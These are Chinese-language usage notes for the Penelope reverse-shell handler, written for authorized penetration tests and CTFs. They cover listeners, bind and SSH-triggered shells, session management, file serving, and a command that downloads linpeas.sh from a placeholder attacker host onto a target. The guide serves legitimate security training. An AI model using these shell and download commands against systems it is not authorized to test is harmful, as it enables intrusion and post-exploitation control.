Penelope Shell Handler 使用笔记
项目地址:brightio/penelope
Penelope 是一个面向授权渗透测试和 CTF 场景的 Shell Handler。它可以把常见的 nc -lvnp 4444 监听流程扩展成更完整的后渗透工作台:反弹 Shell 监听、Bind Shell 连接、PTY 自动升级、会话管理、交互日志、文件上传下载和临时 HTTP 文件服务都能放在同一个工具里处理。
适用场景
适合优先考虑 Penelope 的场景:
- 需要长时间操作不稳定的反弹 Shell。
- 同一目标可能会回连多次,需要管理多个会话。
- 想自动获得更舒服的 PTY 交互体验。
- 希望默认记录交互过程,方便复盘命令和证据。
- 需要在目标和攻击机之间频繁传文件。
仍然可以直接用 nc 的场景:
- 只需要一次非常短的连接测试。
- 环境规则限制使用额外工具。
- 目标网络、考试或授权范围对工具能力有明确限制。
安装
Kali Linux 可以直接使用软件源:
sudo apt update
sudo apt install penelope
如果想跟随上游版本,可以用 pipx:
pipx install git+https://github.com/brightio/penelope
需要更稳定的 PyPI 发布版本时:
pipx install penelope-shell-handler
临时环境也可以直接运行单文件脚本。执行远程脚本前建议先下载并审阅内容:
wget -q https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py
python3 penelope.py -h
基础监听
默认监听 0.0.0.0:4444:
penelope
指定端口:
penelope -p 5555
同时监听多个端口:
penelope -p 4444,5555
指定监听网卡或 IP,例如实验环境里常见的 VPN 网卡:
penelope -i tun0 -p 4444
显示当前监听器可用的反弹 Shell payload 示例:
penelope -a
拿到 Shell 后,Penelope 会尝试升级交互体验。PTY 会话中默认按 F12 返回主菜单;如果没有升级成 PTY,通常可以用 Ctrl+C 回到菜单而不是直接杀掉目标 Shell。具体按键以连接时界面提示为准。
Bind Shell
如果目标开放的是 Bind Shell,由攻击机主动连过去:
penelope -c 192.168.56.101 -p 3333
这里的 -c 是目标地址,-p 是目标 Bind Shell 端口。
SSH 触发反弹 Shell
Penelope 也可以配合 SSH 使用,让目标通过 SSH 会话触发反弹连接:
penelope ssh user@192.168.56.101
如果要指定本地监听端口:
penelope -p 5555 ssh user@192.168.56.101
SSH 本身需要额外参数时,用 -- 把 Penelope 参数和 SSH 参数隔开:
penelope -i tun0 -p 5555 -- ssh -l user -p 2222 192.168.56.101
文件服务
用 Penelope 临时共享文件或目录:
penelope -s ./tools
默认端口会根据模式选择;如果要固定文件服务端口,可以同时指定 -p:
penelope -s ./tools -p 8000
目标机上再用 wget 或 curl 下载需要的文件:
wget http://ATTACKER_IP:8000/linpeas.sh
会话管理
主菜单适合处理多个 Shell。常用思路是:
- 先用
penelope -M直接进入主菜单。 - 多个目标或多个端口回连时,在菜单里选择具体 session 交互。
- 交互中需要切回菜单时,根据当前会话提示按
F12、Ctrl+D或Ctrl+C。 - 需要复盘时查看 Penelope 保存的会话日志。
如果 Shell 很容易断,可以让 Penelope 尝试维持每个目标的活跃会话数量:
penelope -m 1 -p 4444
如果只想接收第一个会话:
penelope -S -p 4444
考试和授权范围注意事项
Penelope 的核心能力是 Shell 处理,不是自动漏洞利用框架。但它带有模块能力,部分模块可能会触碰考试或授权边界。考试环境使用前应以当时官方规则为准。
更保守的启动方式:
penelope -O -p 4444
-O / --oscp-safe 用来开启 OSCP-safe 模式,适合希望降低误用风险的练习环境。
常见排障
监听地址不对
多网卡环境里优先确认攻击机地址:
penelope -l
然后指定正确网卡:
penelope -i tun0 -p 4444
目标回连不上
按顺序检查:
- payload 里的 IP 是否是目标能访问到的攻击机 IP。
- 本机防火墙是否拦截监听端口。
- VPN、Host-only、NAT 网络是否隔离。
- 端口是否被其他进程占用。
自动升级不符合预期
部分目标缺少 Python、script、stty 等工具时,交互升级能力会受限。可以先稳定拿到基础 Shell,再根据目标环境手工补齐交互体验。
速查
| 目的 | 命令 |
|---|---|
| 默认监听反弹 Shell | penelope |
| 指定端口监听 | penelope -p 5555 |
| 指定网卡监听 | penelope -i tun0 -p 4444 |
| 显示 payload 示例 | penelope -a |
| 连接 Bind Shell | penelope -c TARGET_IP -p 3333 |
| 临时文件服务 | penelope -s ./tools -p 8000 |
| 进入主菜单 | penelope -M |
| 保守模式 | penelope -O -p 4444 |